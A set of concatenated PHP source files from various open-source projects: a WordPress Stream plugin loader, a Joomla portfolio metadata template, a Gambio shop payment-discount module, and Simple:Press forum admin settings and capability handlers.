load_plugin_textdomain( 'stream', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
add_action( 'shutdown', 'wp_stream_fail_php_version' );
} else {
require __DIR__ . '/classes/class-plugin.php';
$plugin_class_name = 'WP_Stream\Plugin';
if ( class_exists( $plugin_class_name ) ) {
$GLOBALS['wp_stream'] = new $plugin_class_name();
}
}
/**
* Invoked when the PHP version check fails
* Load up the translations and add the error message to the admin notices.
*/
function wp_stream_fail_php_version() {
load_plugin_textdomain( 'stream', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
$message = esc_html__( 'Stream requires PHP version 5.3+, plugin is currently NOT ACTIVE.', 'stream' );
$html_message = sprintf( '<div class="error">%s</div>', wpautop( $message ) );
echo wp_kses_post( $html_message );
}
/**
* Helper for external plugins which wish to use Stream
*
* @return WP_Stream\Plugin
*/
function wp_stream_get_instance() {
return $GLOBALS['wp_stream'];
}
/*Variable para el directorio del plugin Bitácora*/
define('SIGOES_BITACORA_DIR', plugin_dir_path(__FILE__)); | gpl-2.0 |
nalysa-etienne/cclifv2 | administrator/components/com_tz_portfolio/views/category/tmpl/edit_metadata.php | 1061 | <?php
/*------------------------------------------------------------------------
# TZ Portfolio Extension
# ------------------------------------------------------------------------
# author DuongTVTemPlaza
# copyright Copyright (C) 2012 templaza.com. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.templaza.com
# Technical Support: Forum - http://templaza.com/Forum
-------------------------------------------------------------------------*/
defined('_JEXEC') or die;
?>
<ul class="adminformlist">
<li><?php echo $this->form->getLabel('metadesc'); ?>
<?php echo $this->form->getInput('metadesc'); ?></li>
<li><?php echo $this->form->getLabel('metakey'); ?>
<?php echo $this->form->getInput('metakey'); ?></li>
<?php foreach($this->form->getGroup('metadata') as $field): ?>
<?php if ($field->hidden): ?>
<li><?php echo $field->input; ?></li>
<?php else: ?>
<li><?php echo $field->label; ?>
<?php echo $field->input; ?></li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
| gpl-2.0 |
carlosway89/testshop | includes/modules/order_total/ot_payment.php | 13358 | <?php
/* --------------------------------------------------------------
ot_payment.php 2014-07-15 gm
Gambio GmbH
http://www.gambio.de
Copyright (c) 2014 Gambio GmbH
Released under the GNU General Public License (Version 2)
[http://www.gnu.org/licenses/gpl-2.0.html]
--------------------------------------------------------------
$Id: ot_payment.php,v 1.2.3 (3.0.4) 2005/10/27 13:55:50 Anotherone Exp $
André Estel / Estelco http://www.estelco.de
Copyright (C) 2005 Estelco
based on:
Andreas Zimmermann / IT eSolutions http://www.it-esolutions.de
Copyright (C) 2004 IT eSolutions
-----------------------------------------------------------------------------------------
(c) 2003 XT-Commerce - community made shopping http://www.xt-commerce.com
Released under the GNU General Public License
---------------------------------------------------------------------------------------*/
class ot_payment_ORIGIN {
var $title, $output;
public function __construct() {
$this->code = 'ot_payment';
$this->title = MODULE_ORDER_TOTAL_PAYMENT_TITLE;
$this->description = MODULE_ORDER_TOTAL_PAYMENT_DESCRIPTION;
$this->enabled = MODULE_ORDER_TOTAL_PAYMENT_STATUS=='true'?true:false;
$this->sort_order = MODULE_ORDER_TOTAL_PAYMENT_SORT_ORDER;
$this->include_shipping = MODULE_ORDER_TOTAL_PAYMENT_INC_SHIPPING;
$this->include_tax = MODULE_ORDER_TOTAL_PAYMENT_INC_TAX;
$this->percentage = MODULE_ORDER_TOTAL_PAYMENT_PERCENTAGE;
$this->percentage2 = MODULE_ORDER_TOTAL_PAYMENT_PERCENTAGE2; //neu
// $this->minimum = MODULE_ORDER_TOTAL_PAYMENT_MINIMUM;
// $this->minimum2 = MODULE_ORDER_TOTAL_PAYMENT_MINIMUM2; //neu
$this->calculate_tax = MODULE_ORDER_TOTAL_PAYMENT_CALC_TAX;
$this->howto_calc = MODULE_ORDER_TOTAL_PAYMENT_HOWTO_CALC;
$this->amount1_desc = MODULE_ORDER_TOTAL_PAYMENT_AMOUNT1;
$this->amount2_desc = MODULE_ORDER_TOTAL_PAYMENT_AMOUNT2;
// $this->credit_class = true;
// $this->Price=$price;
$this->output = array();
}
function process() {
global $order, $currencies, $xtPrice;
$allowed_zones = explode(',', MODULE_ORDER_TOTAL_PAYMENT_ALLOWED);
if ($this->enabled && (in_array($_SESSION['delivery_zone'], $allowed_zones) == true || MODULE_ORDER_TOTAL_PAYMENT_ALLOWED == '')) {
$discount = $this->calculate_credit($this->xtc_order_total());
if ($discount['sum']!=0) {
$this->deduction = $discount['sum'];
if ($discount['amount1']!=0) {
$this->output[] = array('title' => abs($discount['pro1']) . "% " . $this->amount1_desc . ':',
'text' => $discount['amount1']>0 ? $xtPrice->xtcFormat($discount['sum'], true) : $xtPrice->xtcFormat($discount['sum'], true),
'value' => $discount['sum']);
} elseif ($discount['amount2']!=0) {
$this->output[] = array('title' => abs($discount['pro2']) . "% " . $this->amount2_desc . ':',
'text' => $discount['amount2']>0 ? $xtPrice->xtcFormat($discount['sum'], true) : $xtPrice->xtcFormat($discount['sum'], true),
'value' => $discount['sum']);
}
// BOF GM_MOD:
$order->info['subtotal'] = $order->info['subtotal'] + $discount['sum'];
$order->info['total'] = $order->info['total'] + $discount['sum'];
}
}
}
function calculate_credit($amount) {
global $order, $customer_id, $payment;
$od_amount=0;
$od_amount2=0; //neu
$discount = array();
$tod_amount = 0;
$tod_amount2 = 0;
$do = false;
$discount_table = (preg_split('/[:,]/' , $this->percentage));
for ($i=0; $i<sizeof($discount_table); $i+=2) {
if ($amount >= $discount_table[$i]) {
$od_pc = $discount_table[$i+1];
$minimum = $discount_table[$i];
} else {
break;
}
}
$discount_table = (preg_split('/[:,]/' , $this->percentage2));
for ($i=0; $i<sizeof($discount_table); $i+=2) {
if ($amount >= $discount_table[$i]) {
$od_pc2 = $discount_table[$i+1];
$minimum2 = $discount_table[$i];
} else {
break;
}
}
if ($amount >= $minimum) {
$table = explode(',' , MODULE_ORDER_TOTAL_PAYMENT_TYPE);
for ($i = 0; $i < count($table); $i++) {
if ($_SESSION['payment'] == $table[$i]) $do = true;
}
if ($do) {
// Calculate tax reduction if necessary
if($this->calculate_tax == 'true') {
// Calculate main tax reduction
// BOF GM_MOD:
$tod_amount = round($order->info['tax']*100)/100*$od_pc/100;
$order->info['tax'] = $order->info['tax'] - $tod_amount;
// Calculate tax group deductions
reset($order->info['tax_groups']);
while (list($key, $value) = each($order->info['tax_groups'])) {
// BOF GM_MOD:
$god_amount = round($value*100)/100*$od_pc/100;
$order->info['tax_groups'][$key] = $order->info['tax_groups'][$key] - $god_amount;
}
}
// BOF GM_MOD:
$od_amount = round($amount*100)/100*$od_pc/100;
// $od_amount = $od_amount + $tod_amount; //auskommentieren, da sonst die Steuer 2x rabattiert wird
}
}
//Zweiten Rabatt berechnen...
$amount2 = $amount - $od_amount; //diese zeile anpassen um Prozente gleichzeitig ("$amount2 = $amount;") oder nacheinander ("$amount2 = $amount - $od_amount;") zu berechnen
$do = false;
if ($amount2 >= $minimum2) {
$table = explode(',' , MODULE_ORDER_TOTAL_PAYMENT_TYPE2);
for ($i = 0; $i < count($table); $i++) {
if ($_SESSION['payment'] == $table[$i]) $do = true;
}
if ($do) {
// Calculate tax reduction if necessary
if($this->calculate_tax == 'true') {
// Calculate main tax reduction
// BOF GM_MOD:
$tod_amount2 = round($order->info['tax']*100)/100*$od_pc2/100;
$order->info['tax'] = $order->info['tax'] - $tod_amount2; //diese Zeile auskommentieren, wenn beide Prozente zusammen berechnet werden sollen
// Calculate tax group deductions
reset($order->info['tax_groups']);
while (list($key, $value) = each($order->info['tax_groups'])) {
// BOF GM_MOD:
$god_amount2 = round($value*100)/100*$od_pc2/100;
$order->info['tax_groups'][$key] = $order->info['tax_groups'][$key] - $god_amount2;
}
}
// BOF GM_MOD:
$od_amount2 = round($amount2*100)/100*$od_pc2/100;
// $od_amount2 = $od_amount2 + $tod_amount2; //auskommentieren, da sonst die Steuer 2x rabattiert wird
}
}
// $order->info['tax'] = $order->info['tax'] - $tod_amount - $tod_amount2; //diese Zeile auskommentieren, wenn die Prozente nacheinander berechnet werden sollen
$discount['sum'] = -($od_amount + $od_amount2);
$discount['amount1'] = $od_amount;
$discount['amount2'] = $od_amount2;
$discount['pro1'] = $od_pc;
$discount['pro2'] = $od_pc2;
return $discount;
}
function xtc_order_total() {
global $order, $cart;
$order_total = $order->info['total'];
// Check if gift voucher is in cart and adjust total
$products = $_SESSION['cart']->get_products();
for ($i=0; $i<sizeof($products); $i++) {
$t_prid = xtc_get_prid($products[$i]['id']);
$gv_query = xtc_db_query("select products_price, products_tax_class_id, products_model from " . TABLE_PRODUCTS . " where products_id = '" . $t_prid . "'");
// bof gm
$gv_result = xtc_db_fetch_array($gv_query);
if(!is_object($cart)) {
$cart = $_SESSION['cart'];
}
// eof gm
if (preg_match('/^GIFT/', addslashes($gv_result['products_model']))) {
$qty = $cart->get_quantity($t_prid);
$products_tax = xtc_get_tax_rate($gv_result['products_tax_class_id']);
if ($this->include_tax =='false') {
$gv_amount = $gv_result['products_price'] * $qty;
} else {
$gv_amount = ($gv_result['products_price'] + xtc_calculate_tax($gv_result['products_price'],$products_tax)) * $qty;
}
$order_total=$order_total - $gv_amount;
}
}
if ($this->include_shipping == 'false') $order_total=$order_total-$order->info['shipping_cost'];
if ($this->include_tax == 'false') if($_SESSION['customers_status']['customers_status_add_tax_ot']=='0') $order_total=$order_total-$order->info['tax'];
return $order_total;
}
function check() {
if (!isset($this->check)) {
$check_query = xtc_db_query("select configuration_value from " . TABLE_CONFIGURATION . " where configuration_key = 'MODULE_ORDER_TOTAL_PAYMENT_STATUS'");
$this->check = xtc_db_num_rows($check_query);
}
return $this->check;
}
function keys() {
return array('MODULE_ORDER_TOTAL_PAYMENT_STATUS', 'MODULE_ORDER_TOTAL_PAYMENT_SORT_ORDER', 'MODULE_ORDER_TOTAL_PAYMENT_PERCENTAGE', 'MODULE_ORDER_TOTAL_PAYMENT_PERCENTAGE2', 'MODULE_ORDER_TOTAL_PAYMENT_TYPE', 'MODULE_ORDER_TOTAL_PAYMENT_TYPE2', 'MODULE_ORDER_TOTAL_PAYMENT_INC_SHIPPING', 'MODULE_ORDER_TOTAL_PAYMENT_INC_TAX', 'MODULE_ORDER_TOTAL_PAYMENT_CALC_TAX', 'MODULE_ORDER_TOTAL_PAYMENT_ALLOWED', 'MODULE_ORDER_TOTAL_PAYMENT_TAX_CLASS'); //, 'MODULE_ORDER_TOTAL_PAYMENT_HOWTO_CALC', 'MODULE_ORDER_TOTAL_PAYMENT_MINIMUM', 'MODULE_ORDER_TOTAL_PAYMENT_MINIMUM2'
}
function install() {
xtc_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_key, configuration_value, configuration_group_id, sort_order, set_function, date_added) values ('MODULE_ORDER_TOTAL_PAYMENT_STATUS', 'true', '6', '1','xtc_cfg_select_option(array(\'true\', \'false\'), ', now())");
xtc_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_key, configuration_value, configuration_group_id, sort_order, date_added) values ('MODULE_ORDER_TOTAL_PAYMENT_SORT_ORDER', '49', '6', '2', now())");
xtc_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_key, configuration_value, configuration_group_id, sort_order, set_function ,date_added) values ('MODULE_ORDER_TOTAL_PAYMENT_INC_SHIPPING', 'false', '6', '5', 'xtc_cfg_select_option(array(\'true\', \'false\'), ', now())");
xtc_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_key, configuration_value, configuration_group_id, sort_order, set_function ,date_added) values ('MODULE_ORDER_TOTAL_PAYMENT_INC_TAX', 'true', '6', '6','xtc_cfg_select_option(array(\'true\', \'false\'), ', now())");
xtc_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_key, configuration_value, configuration_group_id, sort_order, date_added) values ('MODULE_ORDER_TOTAL_PAYMENT_PERCENTAGE', '100:4', '6', '4', now())");
xtc_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_key, configuration_value, configuration_group_id, sort_order, date_added) values ('MODULE_ORDER_TOTAL_PAYMENT_PERCENTAGE2', '100:2', '6', '4', now())");
xtc_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_key, configuration_value, configuration_group_id, sort_order, set_function ,date_added) values ('MODULE_ORDER_TOTAL_PAYMENT_CALC_TAX', 'true', '6', '5','xtc_cfg_select_option(array(\'true\', \'false\'), ', now())");
// xtc_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_key, configuration_value, configuration_group_id, sort_order, set_function ,date_added) values ('MODULE_ORDER_TOTAL_PAYMENT_HOWTO_CALC', 'Zusammen', '6', '2','xtc_cfg_select_option(array(\'Zusammen\', \'Einzeln\'), ', now())");
// xtc_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_key, configuration_value, configuration_group_id, sort_order, date_added) values ('MODULE_ORDER_TOTAL_PAYMENT_MINIMUM', '100', '6', '5', now())");
// xtc_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_key, configuration_value, configuration_group_id, sort_order, date_added) values ('MODULE_ORDER_TOTAL_PAYMENT_MINIMUM2', '100', '6', '5', now())");
xtc_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_key, configuration_value, configuration_group_id, sort_order, date_added) values ('MODULE_ORDER_TOTAL_PAYMENT_TYPE', 'moneyorder', '6', '3', now())");
xtc_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_key, configuration_value, configuration_group_id, sort_order, date_added) values ('MODULE_ORDER_TOTAL_PAYMENT_TYPE2', 'cod', '6', '3', now())");
xtc_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_key, configuration_value, configuration_group_id, sort_order, date_added) values ('MODULE_ORDER_TOTAL_PAYMENT_ALLOWED', '', '6', '2', now())");
xtc_db_query("insert into " . TABLE_CONFIGURATION . " (configuration_key, configuration_value, configuration_group_id, sort_order, use_function, set_function, date_added) values ('MODULE_ORDER_TOTAL_PAYMENT_TAX_CLASS', '0','6', '7', 'xtc_get_tax_class_title', 'xtc_cfg_pull_down_tax_classes(', now())");
}
function remove() {
$keys = '';
$keys_array = $this->keys();
for ($i=0; $i<sizeof($keys_array); $i++) {
$keys .= "'" . $keys_array[$i] . "',";
}
$keys = substr($keys, 0, -1);
xtc_db_query("delete from " . TABLE_CONFIGURATION . " where configuration_key in (" . $keys . ")");
}
}
MainFactory::load_origin_class('ot_payment'); | gpl-2.0 |
cheems77/nb | wp-content/plugins/simple-forum/admin/panel-admins/support/sfa-admins-save.php | 17134 | <?php
/*
Simple:Press
Admin Admins Update Your Options Support Functions
$LastChangedDate: 2010-03-26 16:38:27 -0700 (Fri, 26 Mar 2010) $
$Rev: 3818 $
*/
if (preg_match('#' . basename(__FILE__) . '#', $_SERVER['PHP_SELF']))
{
die('Access Denied');
}
function sfa_save_admins_your_options_data()
{
global $current_user;
check_admin_referer('my-admin_options', 'my-admin_options');
$sfadminsettings = array();
$sfadminsettings = sf_get_option('sfadminsettings');
# admin settings group
$sfadminoptions='';
if (isset($sfadminsettings['sfqueue']))
{
if (isset($_POST['sfadminbar'])) { $sfadminoptions['sfadminbar'] = true; } else { $sfadminoptions['sfadminbar'] = false; }
if (isset($_POST['sfbarfix'])) { $sfadminoptions['sfbarfix'] = true; } else { $sfadminoptions['sfbarfix'] = false; }
}
if (isset($_POST['sfnotify'])) { $sfadminoptions['sfnotify'] = true; } else { $sfadminoptions['sfnotify'] = false; }
if (isset($_POST['sfshownewadmin'])) { $sfadminoptions['sfshownewadmin'] = true; } else { $sfadminoptions['sfshownewadmin'] = false; }
$sfadminoptions['sfstatusmsgtext'] = sf_filter_text_save(trim($_POST['sfstatusmsgtext']));
$sfacolours = array();
if (isset($_POST['submitbg']) ? $sfacolours['submitbg'] = substr(sf_filter_title_save(trim($_POST['submitbg'])), 1) : $sfacolours['submitbg'] = '27537A');
if (isset($_POST['submitbgt']) ? $sfacolours['submitbgt'] = substr(sf_filter_title_save(trim($_POST['submitbgt'])), 1) : $sfacolours['submitbgt'] = 'FFFFFF');
if (isset($_POST['bbarbg']) ? $sfacolours['bbarbg'] = substr(sf_filter_title_save(trim($_POST['bbarbg'])), 1) : $sfacolours['bbarbg'] = '0066CC');
if (isset($_POST['bbarbgt']) ? $sfacolours['bbarbgt'] = substr(sf_filter_title_save(trim($_POST['bbarbgt'])), 1) : $sfacolours['bbarbgt'] = 'FFFFFF');
if (isset($_POST['formbg']) ? $sfacolours['formbg'] = substr(sf_filter_title_save(trim($_POST['formbg'])), 1) : $sfacolours['formbg'] = '0066CC');
if (isset($_POST['formbgt']) ? $sfacolours['formbgt'] = substr(sf_filter_title_save(trim($_POST['formbgt'])), 1) : $sfacolours['formbgt'] = 'FFFFFF');
if (isset($_POST['panelbg']) ? $sfacolours['panelbg'] = substr(sf_filter_title_save(trim($_POST['panelbg'])), 1) : $sfacolours['panelbg'] = '78A1FF');
if (isset($_POST['panelbgt']) ? $sfacolours['panelbgt'] = substr(sf_filter_title_save(trim($_POST['panelbgt'])), 1) : $sfacolours['panelbgt'] = '000000');
if (isset($_POST['panelsubbg']) ? $sfacolours['panelsubbg'] = substr(sf_filter_title_save(trim($_POST['panelsubbg'])), 1) : $sfacolours['panelsubbg'] = 'A7C1FF');
if (isset($_POST['panelsubbgt']) ? $sfacolours['panelsubbgt'] = substr(sf_filter_title_save(trim($_POST['panelsubbgt'])), 1) : $sfacolours['panelsubbgt'] = '000000');
if (isset($_POST['formtabhead']) ? $sfacolours['formtabhead'] = substr(sf_filter_title_save(trim($_POST['formtabhead'])), 1) : $sfacolours['formtabhead'] = '464646');
if (isset($_POST['formtabheadt']) ? $sfacolours['formtabheadt'] = substr(sf_filter_title_save(trim($_POST['formtabheadt'])), 1) : $sfacolours['formtabheadt'] = 'D7D7D7');
if (isset($_POST['tabhead']) ? $sfacolours['tabhead'] = substr(sf_filter_title_save(trim($_POST['tabhead'])), 1) : $sfacolours['tabhead'] = '0066CC');
if (isset($_POST['tabheadt']) ? $sfacolours['tabheadt'] = substr(sf_filter_title_save(trim($_POST['tabheadt'])), 1) : $sfacolours['tabheadt'] = 'D7D7D7');
if (isset($_POST['tabrowmain']) ? $sfacolours['tabrowmain'] = substr(sf_filter_title_save(trim($_POST['tabrowmain'])), 1) : $sfacolours['tabrowmain'] = 'EAF3FA');
if (isset($_POST['tabrowmaint']) ? $sfacolours['tabrowmaint'] = substr(sf_filter_title_save(trim($_POST['tabrowmaint'])), 1) : $sfacolours['tabrowmaint'] = '000000');
if (isset($_POST['tabrowsub']) ? $sfacolours['tabrowsub'] = substr(sf_filter_title_save(trim($_POST['tabrowsub'])), 1) : $sfacolours['tabrowsub'] = '78A1FF');
if (isset($_POST['tabrowsubt']) ? $sfacolours['tabrowsubt'] = substr(sf_filter_title_save(trim($_POST['tabrowsubt'])), 1) : $sfacolours['tabrowsubt'] = '000000');
$sfadminoptions['colors'] = $sfacolours;
sf_update_member_item($current_user->ID, 'admin_options', $sfadminoptions);
$mess = __('Your Admin Options Updated (any color option changes take effect on page reload)', "sforum");
return $mess;
}
function sfa_save_admins_restore_colour()
{
global $current_user;
$data = sf_get_member_list($current_user->ID, 'admin_options');
$sfadminoptions = $data['admin_options'];
$sfacolours = array();
$sfacolours['submitbg'] = '27537A';
$sfacolours['submitbgt'] = 'FFFFFF';
$sfacolours['bbarbg'] = '0066CC';
$sfacolours['bbarbgt'] = 'FFFFFF';
$sfacolours['formbg'] = '0066CC';
$sfacolours['formbgt'] = 'FFFFFF';
$sfacolours['panelbg'] = '78A1FF';
$sfacolours['panelbgt'] = '000000';
$sfacolours['panelsubbg'] = 'A7C1FF';
$sfacolours['panelsubbgt'] = '000000';
$sfacolours['formtabhead'] = '464646';
$sfacolours['formtabheadt'] = 'D7D7D7';
$sfacolours['tabhead'] = '0066CC';
$sfacolours['tabheadt'] = 'D7D7D7';
$sfacolours['tabrowmain'] = 'EAF3FA';
$sfacolours['tabrowmaint'] = '000000';
$sfacolours['tabrowsub'] = '78A1FF';
$sfacolours['tabrowsubt'] = '000000';
$sfadminoptions['colors'] = $sfacolours;
sf_update_member_item($current_user->ID, 'admin_options', $sfadminoptions);
return __("Colours will update when Page is Reloaded", "sforum");
}
function sfa_save_admins_global_options_data()
{
global $wpdb;
check_admin_referer('global-admin_options', 'global-admin_options');
# admin settings group
$sfadminsettings='';
if (isset($_POST['sfqueue'])) { $sfadminsettings['sfqueue'] = true; } else { $sfadminsettings['sfqueue'] = false; }
if (isset($_POST['sfmodasadmin'])) { $sfadminsettings['sfmodasadmin'] = true; } else { $sfadminsettings['sfmodasadmin'] = false; }
if (isset($_POST['sfshowmodposts'])) { $sfadminsettings['sfshowmodposts'] = true; } else { $sfadminsettings['sfshowmodposts'] = false; }
if (isset($_POST['sftools'])) { $sfadminsettings['sftools'] = true; } else { $sfadminsettings['sftools'] = false; }
if (isset($_POST['sfbaronly'])) { $sfadminsettings['sfbaronly'] = true; } else { $sfadminsettings['sfbaronly'] = false; }
if (isset($_POST['sfdashboardposts'])) { $sfadminsettings['sfdashboardposts'] = true; } else { $sfadminsettings['sfdashboardposts'] = false; }
if (isset($_POST['sfdashboardstats'])) { $sfadminsettings['sfdashboardstats'] = true; } else { $sfadminsettings['sfdashboardstats'] = false; }
sf_update_option('sfadminsettings', $sfadminsettings);
# do we need to remove the admins queue?
if($sfadminsettings['sfqueue'] == false)
{
$wpdb->query("TRUNCATE TABLE ".SFWAITING);
}
$mess = __('Admin Options Updated', "sforum");
return $mess;
}
function sfa_save_admins_caps_data()
{
global $current_user;
check_admin_referer('forum-adminform_sfupdatecaps', 'forum-adminform_sfupdatecaps');
$users = array_unique($_POST['uids']);
if (isset($_POST['manage-opts'])) { $manage_opts = $_POST['manage-opts']; } else { $manage_opts = ''; }
if (isset($_POST['manage-forums'])) { $manage_forums = $_POST['manage-forums']; } else { $manage_forums = ''; }
if (isset($_POST['manage-ugs'])) { $manage_ugs = $_POST['manage-ugs']; } else { $manage_ugs = ''; }
if (isset($_POST['manage-perms'])) { $manage_perms = $_POST['manage-perms']; } else { $manage_perms = ''; }
if (isset($_POST['manage-comps'])) { $manage_comps = $_POST['manage-comps']; } else { $manage_comps = ''; }
if (isset($_POST['manage-tags'])) { $manage_tags = $_POST['manage-tags']; } else { $manage_tags = ''; }
if (isset($_POST['manage-users'])) { $manage_users = $_POST['manage-users']; } else { $manage_users = ''; }
if (isset($_POST['manage-profiles'])) { $manage_profiles = $_POST['manage-profiles']; } else { $manage_profiles = ''; }
if (isset($_POST['manage-admins'])) { $manage_admins = $_POST['manage-admins']; } else { $manage_admins = ''; }
if (isset($_POST['manage-tools'])) { $manage_tools = $_POST['manage-tools']; } else { $manage_tools = ''; }
if (isset($_POST['manage-config'])) { $manage_config = $_POST['manage-config']; } else { $manage_config = ''; }
if (isset($_POST['old-opts'])) { $old_opts = $_POST['old-opts']; } else { $old_opts = ''; }
if (isset($_POST['old-forums'])) { $old_forums = $_POST['old-forums']; } else { $old_forums = ''; }
if (isset($_POST['old-ugs'])) { $old_ugs = $_POST['old-ugs']; } else { $old_ugs = ''; }
if (isset($_POST['old-perms'])) { $old_perms = $_POST['old-perms']; } else { $old_perms = ''; }
if (isset($_POST['old-comps'])) { $old_comps = $_POST['old-comps']; } else { $old_comps = ''; }
if (isset($_POST['old-tags'])) { $old_tags = $_POST['old-tags']; } else { $old_tags = ''; }
if (isset($_POST['old-users'])) { $old_users = $_POST['old-users']; } else { $old_users = ''; }
if (isset($_POST['old-profiles'])) { $old_profiles = $_POST['old-profiles']; } else { $old_profiles = ''; }
if (isset($_POST['old-admins'])) { $old_admins = $_POST['old-admins']; } else { $old_admins = ''; }
if (isset($_POST['old-tools'])) { $old_tools = $_POST['old-tools']; } else { $old_tools = ''; }
if (isset($_POST['old-config'])) { $old_config = $_POST['old-config']; } else { $old_config = ''; }
$data_changed = false;
for ($index = 0; $index < count($users); $index++)
{
# get user index and sanitize
$uid = intval($users[$index]);
if ((isset($manage_opts[$uid]) != (isset($old_opts[$uid]) && $old_opts[$uid])) ||
(isset($manage_forums[$uid]) != (isset($old_forums[$uid]) && $old_forums[$uid])) ||
(isset($manage_ugs[$uid]) != (isset($old_ugs[$uid]) && $old_ugs[$uid])) ||
(isset($manage_perms[$uid]) != (isset($old_perms[$uid]) && $old_perms[$uid])) ||
(isset($manage_comps[$uid]) != (isset($old_comps[$uid]) && $old_comps[$uid])) ||
(isset($manage_tags[$uid]) != (isset($old_tags[$uid]) && $old_tags[$uid])) ||
(isset($manage_users[$uid]) != (isset($old_users[$uid]) && $old_users[$uid])) ||
(isset($manage_profiles[$uid]) != (isset($old_profiles[$uid]) && $old_profiles[$uid])) ||
(isset($manage_admins[$uid]) != (isset($old_admins[$uid]) && $old_admins[$uid])) ||
(isset($manage_tools[$uid]) != (isset($old_tools[$uid]) && $old_tools[$uid])) ||
(isset($manage_config[$uid]) != (isset($old_config[$uid]) && $old_config[$uid])))
{
# Is user still an admin?
if (!isset($manage_opts[$uid]) &&
!isset($manage_forums[$uid]) &&
!isset($manage_ugs[$uid]) &&
!isset($manage_perms[$uid]) &&
!isset($manage_comps[$uid]) &&
!isset($manage_tags[$uid]) &&
!isset($manage_users[$uid]) &&
!isset($manage_profiles[$uid]) &&
!isset($manage_admins[$uid]) &&
!isset($manage_tools[$uid]) &&
!isset($manage_config[$uid]))
{
sf_update_member_item($uid, 'admin', 0);
}
$data_changed = true;
$user = new WP_User($uid);
if (isset($manage_opts[$uid]))
{
$user->add_cap('SPF Manage Options');
} else {
$user->remove_cap('SPF Manage Options');
}
if (isset($manage_forums[$uid]))
{
$user->add_cap('SPF Manage Forums');
} else {
$user->remove_cap('SPF Manage Forums');
}
if (isset($manage_ugs[$uid]))
{
$user->add_cap('SPF Manage User Groups');
} else {
$user->remove_cap('SPF Manage User Groups');
}
if (isset($manage_perms[$uid]))
{
$user->add_cap('SPF Manage Permissions');
} else {
$user->remove_cap('SPF Manage Permissions');
}
if (isset($manage_comps[$uid]))
{
$user->add_cap('SPF Manage Components');
} else {
$user->remove_cap('SPF Manage Components');
}
if (isset($manage_tags[$uid]))
{
$user->add_cap('SPF Manage Tags');
} else {
$user->remove_cap('SPF Manage Tags');
}
if (isset($manage_users[$uid]))
{
$user->add_cap('SPF Manage Users');
} else {
$user->remove_cap('SPF Manage Users');
}
if (isset($manage_profiles[$uid]))
{
$user->add_cap('SPF Manage Profiles');
} else {
$user->remove_cap('SPF Manage Profiles');
}
if (isset($manage_admins[$uid]))
{
$user->add_cap('SPF Manage Admins');
} else {
$user->remove_cap('SPF Manage Admins');
}
if (isset($manage_tools[$uid]))
{
$user->add_cap('SPF Manage Toolbox');
} else {
$user->remove_cap('SPF Manage Toolbox');
}
if (isset($manage_config[$uid]))
{
$user->add_cap('SPF Manage Configuration');
} else {
$user->remove_cap('SPF Manage Configuration');
}
}
}
if ($data_changed)
{
$mess = __("Admin Capabilities Updated!", "sforum");
} else {
$mess = __("No Data Changed!", "sforum");
}
return $mess;
}
function sfa_save_admins_newadmin_data()
{
global $wpdb;
check_admin_referer('forum-adminform_sfaddadmins', 'forum-adminform_sfaddadmins');
if (isset($_POST['newadmins']))
{
$newadmins = array_unique($_POST['newadmins']);
} else {
$mess = __("No Users Selected!", "sforum");
return $mess;
}
if (isset($_POST['add-opts'])) { $opts = $_POST['add-opts']; } else { $opts = ''; }
if (isset($_POST['add-forums'])) { $forums = $_POST['add-forums']; } else { $forums = ''; }
if (isset($_POST['add-ugs'])) { $ugs = $_POST['add-ugs']; } else { $ugs = ''; }
if (isset($_POST['add-perms'])) { $perms = $_POST['add-perms']; } else { $perms = ''; }
if (isset($_POST['add-comps'])) { $comps = $_POST['add-comps']; } else { $comps = ''; }
if (isset($_POST['add-tags'])) { $tags = $_POST['add-tags']; } else { $tags = ''; }
if (isset($_POST['add-users'])) { $users = $_POST['add-users']; } else { $users = ''; }
if (isset($_POST['add-profiles'])) { $profiles = $_POST['add-profiles']; } else { $profiles = ''; }
if (isset($_POST['add-admins'])) { $admins = $_POST['add-admins']; } else { $admins = ''; }
if (isset($_POST['add-tools'])) { $tools = $_POST['add-tools']; } else { $tools = ''; }
if (isset($_POST['add-config'])) { $config = $_POST['add-config']; } else { $config = ''; }
$added = false;
for ($index = 0; $index < count($newadmins); $index++)
{
# get user index and sanitize
$uid = intval($newadmins[$index]);
$user = new WP_User(sf_esc_int($uid));
if ($opts == 'on')
{
$user->add_cap('SPF Manage Options');
}
if ($forums == 'on')
{
$user->add_cap('SPF Manage Forums');
}
if ($ugs == 'on')
{
$user->add_cap('SPF Manage User Groups');
}
if ($perms == 'on')
{
$user->add_cap('SPF Manage Permissions');
}
if ($comps == 'on')
{
$user->add_cap('SPF Manage Components');
}
if ($tags == 'on')
{
$user->add_cap('SPF Manage Tags');
}
if ($users == 'on')
{
$user->add_cap('SPF Manage Users');
}
if ($profiles == 'on')
{
$user->add_cap('SPF Manage Profiles');
}
if ($admins == 'on')
{
$user->add_cap('SPF Manage Admins');
}
if ($tools == 'on')
{
$user->add_cap('SPF Manage Toolbox');
}
if ($config == 'on')
{
$user->add_cap('SPF Manage Configuration');
}
if ($opts == 'on' || $forums == 'on' || $ugs == 'on' || $perms == 'on' || $comps == 'on' || $tags == 'on' || $users == 'on'|| $profiles == 'on'|| $admins == 'on' || $tools == 'on' || $config == 'on')
{
$added = true;
# flag as admin with PM permission and remove moderator flag
sf_update_member_item($uid, 'admin', 1);
sf_update_member_item($uid, 'moderator', 0);
sf_update_member_item($uid, 'pm', 1);
# admin default options
$sfadminoptions = array();
$sfadminoptions['sfadminbar'] = false;
$sfadminoptions['sfbarfix'] = false;
$sfadminoptions['sfnotify'] = false;
$sfadminoptions['sfshownewadmin'] = false;
$sfadminoptions['sfstatusmsgtext'] = '';
